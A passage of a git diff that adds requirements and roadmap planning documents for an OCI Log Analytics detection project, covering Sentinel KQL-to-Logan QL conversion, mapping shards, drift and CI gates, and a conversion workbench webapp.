@@ -0,0 +1,276 @@ +# Requirements: OCI Log Analytics Detections + +**Defined:** 2026-05-14 (v1.0); v2.0 added 2026-05-15; v3.0 added 2026-05-17 +**Core Value:** Every committed detection, query, dashboard, parser mapping, and generated artifact must remain deployable and verifiable against OCI Log Analytics without leaking tenant-specific data. + +## v1 Requirements + +### GSD Project Operations + +- [x] **GSD-01**: `.planning/PROJECT.md`, `REQUIREMENTS.md`, `ROADMAP.md`, `STATE.md`, and `config.json` exist and describe the current brownfield project accurately. +- [x] **GSD-02**: `.planning/codebase/**` documents summarize stack, architecture, integrations, conventions, tests, structure, and concerns. +- [x] **GSD-03**: `AGENTS.md` tells Codex to use GSD workflows and this repo's artifact boundaries for future development. +- [x] **GSD-04**: Future substantial work can start from `$gsd-plan-phase ` without re-discovering the repo from scratch. + +### Detection Content Integrity + +- [x] **DET-01**: Source Sigma/YAML rules include required metadata: stable ID, version, MITRE tags where applicable, and falsepositive guidance. +- [x] **DET-02**: Sigma-derived query artifacts are regenerated through `scripts/convert_sigma.py` and cataloged by `scripts/generate_catalog.py`. +- [x] **DET-03**: Rule quality audit reports zero critical, high, medium, and low findings before release. +- [x] **DET-04**: Atomic Red Team mapping coverage remains generated from the current catalog and reported in `docs/ART_COVERAGE_REPORT.md`. + +### Sentinel Conversion + +- [x] **SEN-01**: Sentinel mapping changes are made in `config/sentinel_oci_mapping.yaml` or converter code, not by hand-editing promoted JSON. +- [x] **SEN-02**: Promoted Sentinel queries have `source_type: microsoft_sentinel`, `conversion_status: promoted`, and `live_validation_status: passed`. +- [x] **SEN-03**: `queries/sentinel_conversion_report.json` records skipped candidates, local failures, live failures, and promoted counts. +- [x] **SEN-04**: Sentinel dashboard groups remain dry-run valid after conversion refreshes. + +### Dashboard and Parser Contracts + +- [x] **DASH-01**: Dashboard definitions in `scripts/deploy_dashboard.py` reference existing query files and pass dry-run validation. +- [x] **DASH-02**: Dashboard inventory is regenerated from code and reconciles to README/STATUS counts. +- [x] **DASH-03**: App/APM analytics remain on `SOC Application Logs` and pass `scripts/test_app_query_contract.py`. +- [x] **DASH-04**: Octo APM workshop bundle continues to include only the scoped dashboard/query/detection-rule assets required for downstream workshop deployment. +- [x] **DASH-05**: Parser and field-source dictionaries are regenerated after source, parser, or synthetic-log contract changes. + +### Release and Verification + +- [x] **REL-01**: Local release gates run through `scripts/release_checklist.py` or equivalent focused commands before a handoff. +- [x] **REL-02**: `python3 -m pytest -q` passes before changes are considered complete. +- [x] **REL-03**: `python3 scripts/deploy_dashboard.py --dry-run` passes after dashboard or query inventory changes. +- [x] **REL-04**: Optional live verification is explicit and profile-driven; no live mutation happens in local-only release gates. +- [x] **REL-05**: Generated docs and inventories are updated together when counts or artifacts change. + +### Security and Data Hygiene + +- [x] **SEC-01**: No committed file contains real credentials, API keys, private endpoints, OCIDs, public IPs, or tenant-specific values. +- [x] **SEC-02**: Error handling in scripts does not hide validation failures that should block release. +- [x] **SEC-03**: OCI operations require explicit profile/config inputs and remain dry-run or validation-only unless deployment is requested. + +## v2.0 Requirements — Sentinel KQL Parity to Logan QL + +Baseline (from `queries/sentinel_conversion_report.json`): 4,452 candidates, 25 attempted, 8 promoted, 10 live-failed, 17 skipped. Goal: close the conversion gap so promoted Sentinel content can grow toward thousands of queries with live OCI parser validation as the only promotion gate. + +### Converter Refactor and Test Harness + +- [ ] **REF-01**: `scripts/convert_sentinel_kql.py` is reduced to a thin facade (≤ 800 lines) over a new `scripts/kql/` subpackage containing `lexer.py`, `ast_nodes.py`, `pipeline.py`, `mapping_loader.py`, `operators/.py`, `functions/.py`, and `emitter.py`, dispatched through an `OPERATOR_REGISTRY` mapping. +- [ ] **REF-02**: A Logan QL canonicalizer (`scripts/kql/canonical.py`) tokenizes converter output, sorts commutative comparisons, and normalizes quoting and whitespace so converter tests assert on canonical form rather than exact strings. +- [ ] **REF-03**: KQL expressions are classified as TIER-1 (lossless), TIER-2 (transform with documented rewrite), or TIER-3 (unsupported, SKIPPED with structured reason); the classifier output is included in `queries/sentinel_conversion_report.json`. +- [ ] **REF-04**: `requirements-dev.txt` introduces `pytest >= 8.3` and `hypothesis >= 6.150` (test-only — runtime deps in `requirements.txt` are unchanged); `scripts/test_kql/` mirrors the new subpackage tree with `fixtures/{kql,expected}/` directories. +- [ ] **REF-05**: Existing tests in `scripts/test_sentinel_converter.py` stay green throughout the refactor (behavior-preserving — REF-01..03 land without changing converter output for the current promoted set). + +### Mapping Configuration and Field Coverage + +- [x] **MAP-01**: `config/mapping/` shards the mapping schema by OCI data domain: `_root.yaml` + `tables/{identity,endpoint,cloud_azure,cloud_office,network}.yaml` + `fields/{common,subject,process,office,network}.yaml`; `config/sentinel_oci_mapping.yaml` is retained as a generated compatibility re-export. +- [x] **MAP-02**: `scripts/kql/mapping_loader.py` loads shards in deterministic order with a strict YAML loader that fails the build on duplicate keys; the first strict-load run is a documented, possibly-noisy task. +- [x] **MAP-03**: A collision lint pass detects many-to-one Sentinel-to-Logan column fan-outs (e.g., nine user-name fields mapping to `User Name`) and emits `lossy_mapping_collision:+→` skip reasons; output written to `queries/mapping_collisions.json`. +- [x] **MAP-04**: Every mapped field carries a role tag from `{subject, target, initiator, resource, time, hash, network}` so role-mismatched comparisons (e.g., `subject == target`) can be detected by the converter. +- [ ] **MAP-05**: Bulk Sentinel field additions land for `SubjectAccount`, `SubjectDomainName`, `SubjectLogonId`, `SubjectUserSid`, `SubjectUserName`, `InitiatingProcessAccountDomain`, `InitiatingProcessAccountName`, `InitiatingProcessSHA256`, `InitiatingProcessId`, `MailboxOwnerUPN`, `OfficeWorkload`, `OrganizationName`, `ClientInfoString`, `UserType`, `ParentProcessName`, `ProcessId`, `Exe`, `LocalFile`, `ActingProcessFileInternalName`, plus a `Logon_Type` → `LogonType` alias. +- [ ] **MAP-06**: Every new mapping points to a key already present in `queries/log_source_field_dictionary.json` or carries a documented parser-source contract reference (see PARSER-01). + +### KQL Operator Parity + +- [ ] **OP-01**: `extend` with scalar functions (`iff`, `tostring`, `toint`, `tolong`, `tolower`, `toupper`) translates to OCL `eval` with the n-ary `if(...)` form. +- [ ] **OP-02**: Single-use `let` constant inlining is supported (multi-use and let-as-function remain SKIPPED with structured reason). +- [ ] **OP-03**: `bin(TimeGenerated, span)` translates to `timestats span=` against the matching time field; mixed-bin chains are SKIPPED. +- [ ] **OP-04**: `project`, `project-away`, `top N by`, `distinct`, `countif`, and `column_ifexists` (gated on MAP-05 completeness) translate to their OCL equivalents. +- [ ] **OP-05**: KQL `set timeout=...`, `set truncationmaxsize=...`, and `set query_take_max_records=...` directives are stripped silently rather than emitted as field-mapping failures. +- [ ] **OP-06**: Lossy emission is forbidden: `parse_command_line`, `parse with literal anchors`, true regex `matches regex`, `mv-expand`, `bag_unpack`, `series_*`, `geo_*`, cross-table `join`, `_GetWatchlist`, and `evaluate plugin(...)` remain SKIPPED with structured reasons; the converter must not silently rewrite them to weaker OCL equivalents. + +### Parser-Side Field Extraction + +- [ ] **PARSER-01**: Each Sentinel field that requires extraction beyond OCL field mapping (e.g., `EventData` children like `ObjectDN`, `ActingProcessFileInternalName`, certain `Office*` workload sub-fields) carries a documented parser readiness assessment under `docs/parser_readiness/.md` capturing: source log type, current parser, gap, proposed extraction strategy, and SOC parser change scope. +- [ ] **PARSER-02**: At least the `EventData` ObjectDN/ObjectName/AttributeLDAPDisplayName trio is added to the relevant SOC parser (or a new parser definition under `config/parsers/`) and verified end-to-end against a synthetic fixture. +- [ ] **PARSER-03**: Fields whose extraction requires SOC parser changes outside this milestone's scope are marked `parser_change_required: true` in the mapping shards and SKIPPED with `parser_readiness:pending` reason until PARSER-02-style work lands. + +### Backlog Prioritization + +- [x] **PRI-01**: `scripts/sentinel_backlog_prioritize.py` emits `queries/sentinel_backlog_priority.json` ranking unmapped Sentinel candidates by MITRE coverage gap (joined against `queries/catalog.json`) × converter difficulty (joined against TIER classification from REF-03). +- [x] **PRI-02**: An "unblock chain length" metric annotates each skipped candidate with how many other candidates would promote if the same blocker were resolved; this guides cohort selection. +- [x] **PRI-03**: The prioritized backlog is wired as an advisory (non-blocking) line in `scripts/release_checklist.py` summary output. +- [x] **PRI-04**: `sync_sentinel_kql.py` candidate sync is rerun as an entry condition for any PRI-driven cohort selection so MITRE quality scoring reflects current Sentinel content. + +### Drift and Synthetic-Hit Gates + +- [ ] **DRIFT-01**: `scripts/sentinel_drift_check.py` diffs the current `queries/sentinel_conversion_report.json` against the `main:` baseline plus per-file `live_validation_status` and Logan QL body hashes; writes `queries/sentinel_drift.json` and exits non-zero on regression. +- [ ] **DRIFT-02**: Every promoted artifact in `queries/sentinel/*.json` records a `parser_schema_hash` derived deterministically from `queries/log_source_field_dictionary.json`; drift in this hash without an explicit promotion run flags as a drift incident. +- [ ] **DRIFT-03**: `scripts/release_checklist.py` adds a `live_synthetic_hit_count > 0` gate — every promoted Sentinel artifact must pair with a synthetic-log fixture producing at least one row. +- [ ] **DRIFT-04**: `queries/sentinel_conversion_report.json` separates `live_validation_passed_with_rows` from `live_validation_passed_zero_rows` in the summary so zero-row passes do not inflate promotion claims. + +### CI and Live-Validation Lane + +- [ ] **CI-01**: `.github/workflows/sentinel-converter.yml` runs four jobs on PRs that touch `scripts/`, `config/mapping/`, or `queries/`: `unit` (operator tests, no OCI), `integration` (dry-run full corpus, no live calls), `drift` (vs `main` baseline), and `live` (manual `workflow_dispatch` or scheduled cron, OCI secrets, delta-only). +- [ ] **CI-02**: The CI summary comment posts the backlog-priority delta and drift-detector results on every PR. +- [ ] **CI-03**: The Sentinel workflow's classifier treats `429 / RequestThrottled / TooManyRequests` as `live_environment` defect (retry-eligible) rather than `live_validation` failure (promotion-blocking). +- [ ] **CI-04**: Live calls in CI are cached on `(logan_ql_hash, parser_schema_hash, lookback)` with a configurable TTL so re-runs against unchanged candidates do not burn API budget. +- [ ] **CI-05**: `scripts/scan_sensitive_values.py` runs over `queries/sentinel/*.json` and `queries/sentinel_conversion_report.json` after promotion (not just before commit) with extended patterns covering OCIDs, public IPs, compartment names, and tenancy host suffixes. +- [ ] **CI-06**: `scripts/check_inventory_drift.py` is extended to cover Sentinel JSON ↔ conversion report ↔ catalog ↔ manifest reconciliation so drift in any of those four artifacts fails the PR. + +## v3.0 Requirements - Logan QL Conversion Workbench + +Baseline: this repo remains the canonical producer of OCI Log Analytics detection, conversion, reference, dashboard, and Forge webapp artifacts. The v3.0 frontend lives in `webapp/` and consumes generated artifacts from this repo. + +### Workbench User Experience + +- [ ] **WB-01**: The integrated `webapp/` frontend provides a source language selector and editor for Splunk SPL, Microsoft Sentinel KQL, Elastic/Lucene/KQL, Sigma/YAML, and OCI Log Analytics QL passthrough. +- [ ] **WB-02**: The workbench shows OCI Log Analytics QL output with formatting, copy, export, and warning states alongside a source-to-target explanation panel. +- [ ] **WB-03**: The workbench includes 10-20 validated example conversions across the supported source languages, with expected OCI QL and warning metadata. + +### OCI Reference Catalog + +- [ ] **REFCAT-01**: This repo generates `queries/logan_ql_reference_catalog.json` from official OCI Log Analytics documentation URLs, including command names, source URLs, retrieval timestamp, syntax summary, examples when available, and command category metadata. +- [ ] **REFCAT-02**: The integrated `webapp/` command/reference menu consumes the generated catalog rather than hand-authored React data, and includes query-search fundamentals plus command-reference entries. +- [ ] **REFCAT-03**: Catalog refresh tests fail when required command metadata is missing, provenance is absent, or generated menu data is edited manually. + +### Cross-QL Conversion Patterns + +- [ ] **XQL-01**: This repo generates a cross-QL pattern library covering filters, field references, boolean logic, time windows, aggregation, projection, eval/extend, regex/extraction, lookup/watchlist semantics, joins/correlation, sort/top, and unsupported constructs for Splunk SPL, Sentinel KQL, Elastic/Lucene/KQL, Sigma/YAML, and OCI QL. +- [ ] **XQL-02**: Conversion responses include structured explanations mapping source clauses to OCI Log Analytics commands, target fields, parser assumptions, support level, and warning messages. +- [ ] **XQL-03**: Lossy or unsupported source constructs produce explicit warnings or blocked conversions; the workbench must not silently emit weaker OCI QL. + +### Producer/Consumer API Contract + +- [ ] **API-01**: This repo defines versioned JSON schemas under `schemas/logan_workbench/` for workbench artifacts, conversion requests, conversion responses, examples, warnings, and reference catalog entries. +- [ ] **API-02**: The integrated `webapp/` frontend validates imported artifacts against the generated schemas at build time or startup and fails clearly when versions drift. +- [ ] **API-03**: Sentinel and Sigma examples reuse this repo's existing converter/mapping paths; `webapp/` does not duplicate converter generation logic. + +### Documentation and Mapping Guidance + +- [ ] **DOC-01**: `docs/logan_workbench_mapping_guide.md` explains how to map Splunk SPL, Sentinel KQL, Elastic/Lucene/KQL, Sigma/YAML, and generic source-query constructs to OCI Log Analytics QL with support-level notes. +- [ ] **DOC-02**: The integrated `/forge` page presents mapping guidance contextually through the command menu, examples, and explanation panel rather than as a standalone marketing page. + +### Validation, Security, and Release Gates + +- [ ] **QA-01**: Producer-side tests validate generated schemas, command catalog, mapping patterns, examples, and conversion warning behavior. +- [ ] **QA-02**: Workbench examples and synthetic logs contain no credentials, OCIDs, public IPs, tenancy-specific names, or unredacted live payloads; sensitive-value scanning covers the new artifacts. +- [ ] **QA-03**: `webapp/` gates include build, typecheck, lint, accessibility-sensitive browser checks, mobile/desktop layout checks, and the editor-to-output-to-copy/export flow. + +## v2 Requirements (deferred — superseded or follow-on) + +### Automation Improvements (carryover) + +- **AUTO-01**: ~~CI workflow coverage for release-checklist dry-run gates.~~ → Superseded by CI-01. +- **AUTO-02**: Machine-readable GSD phase status export for companion project dashboards. → Carried forward. +- **AUTO-03**: ~~Automatic drift detection for README/STATUS counts against `queries/catalog.json`.~~ → Subsumed by CI-06. +- **AUTO-04**: ~~Prioritization helpers for Sentinel next-query backlog categories.~~ → Superseded by PRI-01..04. + +### Coverage Expansion + +- **COV-01**: Improve Sentinel live-pass coverage beyond the current 8 promoted queries. → Becomes the implicit success metric of v2.0; explicit target settings tracked in ROADMAP.md success criteria (Phase 9 target: 50–100 promoted). +- **COV-02**: Expand Atomic Red Team coverage for eligible non-OCI detections. → Carried forward. +- **COV-03**: Add more cloud-to-endpoint and app-to-cloud attack-path dashboards where parser contracts are validated. → Carried forward. + +## Out of Scope + +| Feature | Reason | +|---------|--------| +| Additional companion UI implementation outside `webapp/` | Belongs in separate repos only if they consume generated artifacts and do not become the source of truth | +| Live OCI deployment by default | Requires explicit profile, compartment, and operator approval | +| Manual promoted Sentinel JSON patches | Breaks converter traceability and live-validation guarantees | +| New top-level workflow surfaces outside `skills/` | Existing project guidance prefers skills-first workflow surfaces | +| KQL ML operators (`series_*`, `autocluster`, `series_outliers`) | OCL has no ML primitive; route to OCI Anomaly Detection if needed | +| `geo_*` functions | No OCL geo plugin; push to parser-side enrichment | +| Dynamic-bag expansion (`parse_json`, `bag_unpack`, `todynamic`) | OCL field model is flat; extraction belongs in parsers | +| Cross-table `join kind=inner|leftouter` with `summarize` | Produce two saved searches + dashboard-level correlation instead | +| `_GetWatchlist()` watchlist hydration | Sentinel watchlists are external state; inlining IOCs into queries violates the no-PII rule | +| KQL stored-function inlining (`invoke FuncName(...)`) | Recursive, version-skewed; mechanical inlining is unsafe | +| Lossy `parse_command_line` emission | Corrupts detections silently; must remain SKIPPED | +| Lark / ANTLR-based KQL grammar | Over-engineered for current 6-shape unsupported set; revisit if count > 25 | +| `pythonnet` + `Kusto.Language` binding | Broken on macOS/Linux ARM + .NET 9 (pythonnet#2514) | +| Auto-created OCI scheduled-search alarms from Sentinel content | Detection rule specs remain metadata/export artifacts per v1.0 SEC-03 | +| OCI Lookups-backed watchlist replacement | Separate post-v2.0 epic | +| `union T1, T2` cross-source detections | Defer to v2.1+ unless cross-source demand becomes explicit | + +## Traceability + +| Requirement | Phase | Status | +|-------------|-------|--------| +| GSD-01 | Phase 1 | Complete | +| GSD-02 | Phase 1 | Complete | +| GSD-03 | Phase 1 | Complete | +| GSD-04 | Phase 1 | Complete | +| DET-01 | Phase 2 | Complete | +| DET-02 | Phase 2 | Complete | +| DET-03 | Phase 2 | Complete | +| DET-04 | Phase 2 | Complete | +| SEN-01 | Phase 3 | Complete | +| SEN-02 | Phase 3 | Complete | +| SEN-03 | Phase 3 | Complete | +| SEN-04 | Phase 3 | Complete | +| DASH-01 | Phase 4 | Complete | +| DASH-02 | Phase 4 | Complete | +| DASH-03 | Phase 4 | Complete | +| DASH-04 | Phase 4 | Complete | +| DASH-05 | Phase 4 | Complete | +| REL-01 | Phase 5 | Complete | +| REL-02 | Phase 5 | Complete | +| REL-03 | Phase 5 | Complete | +| REL-04 | Phase 5 | Complete | +| REL-05 | Phase 5 | Complete | +| SEC-01 | Phase 5 | Complete | +| SEC-02 | Phase 5 | Complete | +| SEC-03 | Phase 5 | Complete | +| REF-01 | Phase 6 | Pending | +| REF-02 | Phase 6 | Pending | +| REF-03 | Phase 6 | Pending | +| REF-04 | Phase 6 | Pending | +| REF-05 | Phase 6 | Pending | +| MAP-01 | Phase 7 | Pending | +| MAP-02 | Phase 7 | Pending | +| MAP-03 | Phase 7 | Pending | +| MAP-04 | Phase 7 | Pending | +| MAP-05 | Phase 9 | Pending | +| MAP-06 | Phase 9 | Pending | +| OP-01 | Phase 9 | Pending | +| OP-02 | Phase 9 | Pending | +| OP-03 | Phase 9 | Pending | +| OP-04 | Phase 9 | Pending | +| OP-05 | Phase 9 | Pending | +| OP-06 | Phase 9 | Pending | +| PARSER-01 | Phase 9 | Pending | +| PARSER-02 | Phase 9 | Pending | +| PARSER-03 | Phase 9 | Pending | +| PRI-01 | Phase 8 | Complete | +| PRI-02 | Phase 8 | Complete | +| PRI-03 | Phase 8 | Complete | +| PRI-04 | Phase 8 | Complete | +| DRIFT-01 | Phase 10 | Pending | +| DRIFT-02 | Phase 10 | Pending | +| DRIFT-03 | Phase 10 | Pending | +| DRIFT-04 | Phase 10 | Pending | +| CI-01 | Phase 11 | Pending | +| CI-02 | Phase 11 | Pending | +| CI-03 | Phase 11 | Pending | +| CI-04 | Phase 11 | Pending | +| CI-05 | Phase 11 | Pending | +| CI-06 | Phase 11 | Pending | +| WB-01 | Phase 15 | Pending | +| WB-02 | Phase 15 | Pending | +| WB-03 | Phase 16 | Pending | +| REFCAT-01 | Phase 13 | Pending | +| REFCAT-02 | Phase 13 | Pending | +| REFCAT-03 | Phase 13 | Pending | +| XQL-01 | Phase 14 | Pending | +| XQL-02 | Phase 14 | Pending | +| XQL-03 | Phase 14 | Pending | +| API-01 | Phase 12 | Pending | +| API-02 | Phase 12 | Pending | +| API-03 | Phase 12 | Pending | +| DOC-01 | Phase 14 | Pending | +| DOC-02 | Phase 15 | Pending | +| QA-01 | Phase 16 | Pending | +| QA-02 | Phase 16 | Pending | +| QA-03 | Phase 15 | Pending | + +**Coverage:** +- v1 requirements: 25 total — all Complete (Phases 1–5) +- v2.0 requirements: 32 total — Pending (Phases 6–11) +- v3.0 requirements: 17 total — Pending (Phases 12–16) +- Mapped to phases: 49 (every v2.0 and v3.0 REQ-ID maps to exactly one phase) +- Unmapped: 0 +- Orphaned phases: 0 + +--- +*Requirements defined: 2026-05-14 (v1.0); v2.0 milestone added 2026-05-15* +*Last updated: 2026-05-17 - v3.0 Logan QL Conversion Workbench requirements and traceability added* diff --git a/observability-and-management/assets/oci-log-analytics-detections/.planning/ROADMAP.md b/observability-and-management/assets/oci-log-analytics-detections/.planning/ROADMAP.md new file mode 100644 index 000000000..0b1d39f56 --- /dev/null +++ b/observability-and-management/assets/oci-log-analytics-detections/.planning/ROADMAP.md @@ -0,0 +1,351 @@ +# Roadmap: OCI Log Analytics Detections + +## Overview + +This roadmap turns the existing OCI Log Analytics detection repository into a GSD-managed brownfield project. Phases 1-5 (milestone v1.0) established durable project state and hardened detection content, Sentinel conversion, dashboards, parser contracts, and release evidence. Phases 6-11 (milestone v2.0 "Sentinel KQL Parity to Logan QL") close the conversion gap between Microsoft Sentinel KQL and OCI Log Analytics QL so the converter can move promoted Sentinel content from the original 8 promoted-query baseline toward thousands, with live OCI parser validation remaining the sole promotion gate. Phases 12-16 (milestone v3.0 "Logan QL Conversion Workbench") add the integrated `webapp/` frontend while this repo remains the producer of conversion, reference, example, and schema artifacts. + +## Phases + +- [x] **Phase 1: GSD Brownfield Baseline** - Add planning state, codebase map, and Codex-facing GSD guidance. +- [x] **Phase 2: Detection Integrity Gates** - Tighten source-rule, query-generation, catalog, ART, and rule-quality loops. +- [x] **Phase 3: Sentinel Conversion Backlog** - Systematically reduce Sentinel skipped/local-failure/live-failure backlog. +- [x] **Phase 4: Dashboard and Parser Contract Hardening** - Keep dashboards, field dictionaries, synthetic logs, and Octo workshop assets aligned. +- [x] **Phase 5: Release and Security Automation** - Make local/live verification and secret hygiene repeatable before handoff. +- [x] **Phase 6: KQL Subpackage Extraction and Canonicalizer** - Behavior-preserving refactor of the Sentinel converter and golden-fixture test harness. +- [x] **Phase 7: Mapping Config Sharding and Collision Lint** - Shard `sentinel_oci_mapping.yaml`, add strict loader, role tags, and collision lint. +- [x] **Phase 8: Backlog Prioritizer and Cohort Overlay** - Rank unmapped Sentinel candidates by MITRE coverage × converter difficulty so Phases 9–10 work against cohorts, not throwaways. +- [ ] **Phase 9: Operator Parity and Field Mapping Bulk Expansion** - Land `extend`/`let`/`bin`/`project` family operators, parser-side extraction, and bulk Sentinel field additions in parallel cohort work. +- [ ] **Phase 10: Drift Detector and Synthetic-Hit Promotion Gate** - Prevent silent regressions and zero-row false passes once promotion scales. +- [ ] **Phase 11: CI Workflow with PR Dry-Run vs Scheduled-Live Lane Split** - Wire converter + drift + scan + inventory checks into CI; isolate live OCI calls to manual/scheduled jobs. +- [ ] **Phase 12: Frontend Boundary and Artifact/API Contract** - Define the integrated `webapp/` target, generated artifact set, schemas, and conversion request/response contract. +- [ ] **Phase 13: Official OCI Logan QL Reference Catalog** - Generate the workbench command menu from official OCI Log Analytics documentation with provenance and tests. +- [ ] **Phase 14: Cross-QL Conversion Pattern Library** - Build deterministic mapping patterns and explanations from Splunk, Sentinel, Elastic/Lucene/KQL, Sigma, and OCI passthrough into OCI Log Analytics QL. +- [ ] **Phase 15: Integrated Workbench UX** - Implement the real converter workbench surface in `webapp/` using generated artifacts. +- [ ] **Phase 16: Examples, Validation, and Release Gates** - Validate 10-20 conversions, scan workbench artifacts, and wire producer plus `webapp/` gates. + +## Phase Details + +### Phase 1: GSD Brownfield Baseline + +**Goal**: The repo has a usable GSD project state and future agents can continue development from `.planning/**`. +**Depends on**: Nothing. +**Requirements**: GSD-01, GSD-02, GSD-03, GSD-04 +**Success Criteria** (what must be TRUE): + 1. `.planning/PROJECT.md`, `REQUIREMENTS.md`, `ROADMAP.md`, `STATE.md`, and `config.json` exist. + 2. `.planning/codebase/**` documents describe the current stack, architecture, integrations, conventions, testing, structure, and concerns. + 3. `AGENTS.md` tells Codex to use GSD and this repo's artifact boundaries. + 4. Full local tests pass after initialization. +**Plans**: 3 plans + +Plans: +- [x] 01-01: Initialize GSD project docs from README, PLAN, STATUS, CLAUDE, and generated inventories. +- [x] 01-02: Add codebase map documents for architecture, stack, integrations, conventions, testing, structure, and concerns. +- [x] 01-03: Add Codex/GSD operating instructions and verify local tests. + +### Phase 2: Detection Integrity Gates + +**Goal**: Detection source changes regenerate and validate all dependent query/catalog artifacts reliably. +**Depends on**: Phase 1 +**Requirements**: DET-01, DET-02, DET-03, DET-04 +**Success Criteria** (what must be TRUE): + 1. Rule-quality audit remains zero issue after source changes. + 2. Source-derived queries and catalog outputs are regenerated through scripts, not manual edits. + 3. ART coverage report regenerates from the current catalog. + 4. README/STATUS count changes reconcile to `queries/catalog.json`. +**Plans**: 3 plans + +Plans: +- [x] 02-01: Document and test the source-rule regeneration path. +- [x] 02-02: Add or tighten count-drift checks for catalog-facing docs. +- [x] 02-03: Improve ART coverage reporting and regression tests for eligible query surfaces. + +### Phase 3: Sentinel Conversion Backlog + +**Goal**: Sentinel conversion work is prioritized and reduces live/local failures without breaking promotion rules. +**Depends on**: Phase 2 +**Requirements**: SEN-01, SEN-02, SEN-03, SEN-04 +**Success Criteria** (what must be TRUE): + 1. Next-query backlog is reproducible from `queries/sentinel_conversion_report.json`. + 2. Promoted files remain live-validation-passed only. + 3. Converter tests cover any new KQL/function/table/field mapping behavior. + 4. Sentinel dashboard dry-runs stay valid. +**Plans**: 3 plans + +Plans: +- [x] 03-01: Triage current Sentinel skip and failure buckets into actionable work queues. +- [x] 03-02: Add field/table mapping fixes with converter tests. +- [x] 03-03: Refresh promoted artifacts and dashboard groups after live validation. + +### Phase 4: Dashboard and Parser Contract Hardening + +**Goal**: Dashboards, parser mappings, synthetic logs, and workshop bundles remain consistent and deployable. +**Depends on**: Phase 3 +**Requirements**: DASH-01, DASH-02, DASH-03, DASH-04, DASH-05 +**Success Criteria** (what must be TRUE): + 1. Dashboard dry-run and inventory export pass after dashboard edits. + 2. Field dictionary reflects parser mappings, synthetic contracts, and query usage. + 3. App/APM queries pass the SOC Application Logs contract tests. + 4. Octo APM workshop bundle can be regenerated and consumed by downstream deployment scripts. +**Plans**: 4 plans + +Plans: +- [x] 04-01: Strengthen dashboard inventory and query-file validation. +- [x] 04-02: Refresh field dictionary and synthetic-log contract checks. +- [x] 04-03: Guard app/APM and WAF cross-correlation query patterns. +- [x] 04-04: Verify Octo APM workshop bundle generation and downstream contract. + +### Phase 5: Release and Security Automation + +**Goal**: Handoffs are backed by repeatable local evidence, optional live verification, and secret hygiene. +**Depends on**: Phase 4 +**Requirements**: REL-01, REL-02, REL-03, REL-04, REL-05, SEC-01, SEC-02, SEC-03 +**Success Criteria** (what must be TRUE): + 1. `scripts/release_checklist.py` covers the expected local gates for non-live releases. + 2. Optional live verification requires explicit profile-driven invocation. + 3. Secret/tenant-specific value checks protect committed files. + 4. Release evidence is written under `docs/health/` when gates run. +**Plans**: 3 plans + +Plans: +- [x] 05-01: Align release checklist with current generated artifact contract. +- [x] 05-02: Add secret and tenant-specific value scanning to the release path. +- [x] 05-03: Add handoff summary generation from release evidence and GSD state. + +--- + +## Milestone v2.0 — Sentinel KQL Parity to Logan QL + +Phases 6–11 deliver KQL operator parity, mapping completeness, drift protection, and CI lane separation. Phase numbering continues from v1.0. Baseline counters from `queries/sentinel_conversion_report.json`: 4,452 candidates, 25 attempted, **8 promoted**, 10 live-failed, 17 skipped. Target promoted_count by end of Phase 10: **50–100 queries** (conservative; research notes 7/10 current live failures close after Phase 9 mapping work). + +- [x] **Phase 6:** KQL Subpackage Extraction and Canonicalizer +- [x] **Phase 7:** Mapping Config Sharding and Collision Lint +- [x] **Phase 8:** Backlog Prioritizer and Cohort Overlay +- [ ] **Phase 9:** Operator Parity and Field Mapping Bulk Expansion +- [ ] **Phase 10:** Drift Detector and Synthetic-Hit Promotion Gate +- [ ] **Phase 11:** CI Workflow with PR Dry-Run vs Scheduled-Live Lane Split + +### Phase 6: KQL Subpackage Extraction and Canonicalizer + +**Goal**: The Sentinel converter can be extended safely — file size is back under the 800-line ceiling, dispatch is registry-based, and converter tests assert on canonical Logan QL rather than brittle string equality. +**Depends on**: Phase 5 +**Requirements**: REF-01, REF-02, REF-03, REF-04, REF-05 +**Success Criteria** (what must be TRUE): + 1. `scripts/convert_sentinel_kql.py` is ≤ 800 lines and dispatches to `scripts/kql/` via an `OPERATOR_REGISTRY` mapping. + 2. `scripts/kql/canonical.py` roundtrips each currently-promoted Sentinel query (input → canonical form → input.canonical) without semantic loss. + 3. Existing `scripts/test_sentinel_converter.py` and the full `python3 -m pytest -q` suite stay green throughout the refactor (behavior-preserving). + 4. Every KQL expression in the corpus is classified as TIER-1 / TIER-2 / TIER-3 and the classifier output appears in `queries/sentinel_conversion_report.json`. + 5. `requirements-dev.txt` introduces `pytest >= 8.3` and `hypothesis >= 6.150` only; `requirements.txt` runtime deps (`oci`, `PyYAML`, `python-dotenv`) are unchanged. +**Exit Conditions**: + - Promoted artifact set unchanged (8 queries, identical bodies after canonical normalization). + - `scripts/test_kql/` mirror tree exists with `fixtures/{kql,expected}/` populated for at least every currently promoted query. + - Release checklist (`python3 scripts/release_checklist.py`) still passes locally. +**Plans**: 10 plans + +### Phase 7: Mapping Config Sharding and Collision Lint + +**Goal**: The Sentinel→Logan mapping is shardable, role-aware, duplicate-detecting, and surfaces lossy many-to-one fan-out before it corrupts detections. +**Depends on**: Phase 6 +**Requirements**: MAP-01, MAP-02, MAP-03, MAP-04 +**Success Criteria** (what must be TRUE): + 1. `config/mapping/_root.yaml` plus `tables/{identity,endpoint,cloud_azure,cloud_office,network}.yaml` and `fields/{common,subject,process,office,network}.yaml` exist; `config/sentinel_oci_mapping.yaml` is retained as a generated compatibility re-export. + 2. `scripts/kql/mapping_loader.py` strict YAML loader fails the build with a non-zero exit and a `duplicate_key:` reason when an injected duplicate key is added to any shard. + 3. The collision lint pass emits `lossy_mapping_collision:+→` skip reasons for at least the known many-to-one cases (nine user-name fields fanned to `User Name`; `Computer`+`DeviceId` fanned to `Entity`) and writes them to `queries/mapping_collisions.json`. + 4. Every mapped field carries a role tag drawn from `{subject, target, initiator, resource, time, hash, network}`; a converter test asserts role-mismatched comparisons (`subject == target`) are detected and SKIPPED with `role_mismatch::` reason. +**Exit Conditions**: + - First strict-load run is documented in `docs/sentinel_mapping_strict_loader.md` with the duplicate-override findings it surfaces. + - Promoted artifact set still re-validates against the sharded mapping (no regressions in promoted_count). +**Plans**: 4 plans + +Plans: +- [x] 07-01: Shard schema and strict loader. +- [x] 07-02: Field role tags and role mismatch. +- [x] 07-03: Collision lint and generated report. +- [x] 07-04: Docs, status, and release gates. + +### Phase 8: Backlog Prioritizer and Cohort Overlay + +**Goal**: Phase 9 and Phase 10 work targets ranked cohorts instead of arbitrary candidates, so operator and mapping additions land where they unblock the most MITRE-relevant queries. +**Depends on**: Phase 7 +**Requirements**: 